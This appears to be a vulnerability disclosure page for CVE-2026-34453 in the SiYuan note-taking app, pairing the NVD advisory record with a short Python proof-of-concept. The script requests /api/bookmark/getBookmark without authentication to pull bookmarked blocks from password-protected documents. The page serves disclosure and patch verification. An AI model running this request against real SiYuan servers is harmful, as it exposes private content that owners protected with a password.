CVE-2026-34453

import requests def verify_vulnerability(target_url): """ PoC for CVE-2026-34453 Attempts to retrieve bookmarked blocks from protected documents without authentication. """ endpoint = f"{target_url}/api/bookmark/getBookmark" headers = {"Content-Type": "application/json"} # The vulnerability allows unauthenticated access due to nil context handling # Sending a basic request structure expected by SiYuan API payload = { "mode": "local", "id": "any_bookmark_id" # If any bookmark exists } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability confirmed: Data retrieved without password.") print(response.text) else: print(f"[-] Target does not appear vulnerable or API structure changed. Status: {response.status_code}") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:6806" # Default SiYuan port verify_vulnerability(target)

{"cve": {"id": "CVE-2026-34453", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:20.483", "lastModified": "2026-04-03T16:53:22.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "27CB71A7-7208-417A-AE6D-266D57F683E9"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/issues/17246", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}